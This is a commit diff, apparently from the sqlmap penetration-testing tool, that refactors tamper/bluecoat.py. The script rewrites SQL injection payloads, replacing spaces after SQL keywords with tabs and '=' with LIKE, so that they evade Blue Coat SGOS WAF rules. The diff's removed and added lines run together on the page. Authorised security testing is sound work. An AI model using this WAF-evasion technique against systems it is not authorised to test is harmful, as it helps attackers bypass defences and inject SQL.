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Refactoring code in tamper/bluecoat.py

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This commit is contained in:
Miroslav Stampar 2012-11-05 13:09:53 +01:00
parent d75598fccf
commit 5352b3ebd9
1 changed files with 14 additions and 23 deletions
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27
tamper/bluecoat.py
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@ -12,44 +12,35 @@ from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW __priority__ = PRIORITY.NORMAL
def dependencies(): def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def process(match):
word = match.group()
word = "%sLIKE%s" % (" " if word[0] != " " else "", " " if word[-1] != " " else "")
return word
def tamper(payload, headers=None): def tamper(payload, headers=None):
""" """
First Replaces the space after 'select ' with a valid random blank character. Replaces space character after SQL statement with a valid random blank character.
Then replace = with like Afterwards replace character = with LIKE operator
Example: Example:
* Input: SELECT id FROM users where id = 1 * Input: SELECT id FROM users where id = 1
* Output: SELECT%09id FROM users where id like 1 * Output: SELECT%09id FROM users where id LIKE 1
Requirement: Requirement:
* MySQL, Bluecoat SGos with Waf activated as documented in * MySQL, Blue Coat SGOS with WAF activated as documented in
https://kb.bluecoat.com/index?page=content&id=FAQ2147 https://kb.bluecoat.com/index?page=content&id=FAQ2147
Tested against: Tested against:
* MySQL 5.1, SGos Rules * MySQL 5.1, SGOS
Notes: Notes:
* Useful to bypass BlueCoat recommanded Waf rule configuration * Useful to bypass Blue Coat's recommended WAF rule configuration
""" """
# ASCII table:
# TAB 09 horizontal TAB
blanks = '%09'
retVal = payload retVal = payload
if payload: if payload:
for commands in ['SELECT','UPDATE','INSERT','DELETE']: retVal = re.sub(r"(?i)(SELECT|UPDATE|INSERT|DELETE)\s+", r"\g<1>\t", payload)
retVal = retVal.replace(commands + ' ', commands + blanks) retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
retVal = re.sub(r"\s*=\s*", lambda match: process(match), retVal)
return retVal return retVal